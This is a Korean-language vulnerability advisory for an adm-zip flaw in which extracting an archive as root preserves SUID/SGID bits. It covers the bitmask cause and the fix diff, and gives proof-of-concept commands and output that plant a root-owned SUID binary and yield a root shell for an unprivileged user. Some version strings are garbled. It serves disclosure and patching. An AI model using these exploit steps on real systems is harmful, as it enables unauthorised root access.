
CVE-2026-102282: 아카이브 추출 중 SUID/SGID 보존을 통한 로컬 권한 상승
adm-zip은 Node.js용으로 널리 쓰이는 순수 JavaScript ZIP 아카이브 라이브러리로, npm 생태계 전반에서 주간 다운로드 수가 2천만 건을 넘습니다. CI/CD 파이프라인, 컨테이너 빌드 워크플로, 클라우드 배포 도구, 서버 측 애플리케이션 등에서 아카이브 압축 및 추출을 처리하기 위해 폭넓게 통합되어 있습니다.
추출 과정에서 adm-zip은 아카이브에 기록된 POSIX 권한을 복원하기 위한 keepOriginalPermission 구성 옵션을 지원합니다. 그러나 이 라이브러리는 특수 권한을 부여하는 Unix 파일 모드 비트인 SUID(S_ISUID, 0o4000), SGID(S_ISGID, 0o2000), 스티키 비트(S_ISVTX, 0o1000)를 걸러내지 못했습니다.
애플리케이션이 상승된 권한(예: root 수준의 CI 러너, Docker 컨테이너 엔트리포인트, 백엔드 작업 데몬)으로 실행되는 상태에서 keepOriginalPermission = true로 신뢰할 수 없는 ZIP 아카이브를 추출하면, adm-zip은 공격자가 지정한 SUID/SGID 비트를 fs.chmodSync()를 통해 디스크에 적용합니다. 이로 인해 호스트 파일시스템에 root 소유의 SUID 실행 파일이 생성되며, 권한 없는 로컬 사용자가 해당 바이너리를 실행하여 즉시 root 권한을 획득할 수 있습니다.
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1PKWARE ZIP 형식 명세에서 Unix 파일 권한은 중앙 디렉터리 헤더(Central Directory Header)의 32비트 external file attributes 필드(38-41번째 바이트)에 저장됩니다. Unix 호환 아카이브에서는 상위 16비트가 파일 유형과 12비트 POSIX 권한 모드(0o7777)를 인코딩합니다.
<= 0.6.0 버전에서 headers/entryHeader.js는 12비트 비트마스크(0xfff)를 사용했습니다:
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
비트마스크 0xfff(이진수 1111 1111 1111)는 하위 12비트 전체를 추출하여, 표준 읽기/쓰기/실행 권한(0o777)뿐만 아니라 특수 권한 비트인 0o4000(SUID), 0o2000(SGID), 0o1000(Sticky)까지 보존합니다.
0.6.1 버전에서는 마스크가 0o777(10진수 511)로 제한되어 모든 특수 권한 비트가 제거되었습니다:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
이 문제는 추출 중 keepOriginalPermission이 활성화될 때 발생합니다:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
util/utils.js에서 추출된 속성은 검증 없이 파일시스템에 직접 전달되었습니다:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
추출 프로세스가 nosuid 없이 마운트된 파일시스템에서 root(euid 0)로 실행될 때, fs.chmodSync()는 추출된 파일의 권한을 root:root 소유의 모드 0o4755(-rwsr-xr-x)로 설정합니다.
[email protected])아카이브 생성 및 권한 있는 추출:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
권한 없는 로컬 사용자(uid=1000)에 의한 실행:
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
신뢰할 수 없는 ZIP 파일이 상승된 권한으로 처리될 때—예를 들어 자동화된 빌드 에이전트, 공유 호스팅 환경, 서버리스 컨테이너 초기화 루틴, 플러그인 설치 프레임워크 등—권한 없는 사용자가 조작된 아카이브를 제공하여 임의의 root 소유 SUID 바이너리를 심을 수 있으며, 이는 로컬 권한 상승(LPE) 및 root로서의 임의 코드 실행으로 이어집니다.
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip 버전을 사용하여 root로 추출합니다:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
참고: 대상 추출 디렉터리는 nosuid 없이 마운트된 파일시스템에 위치해야 합니다.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - 기본 점수 7.1)0.6.1에서 패치됨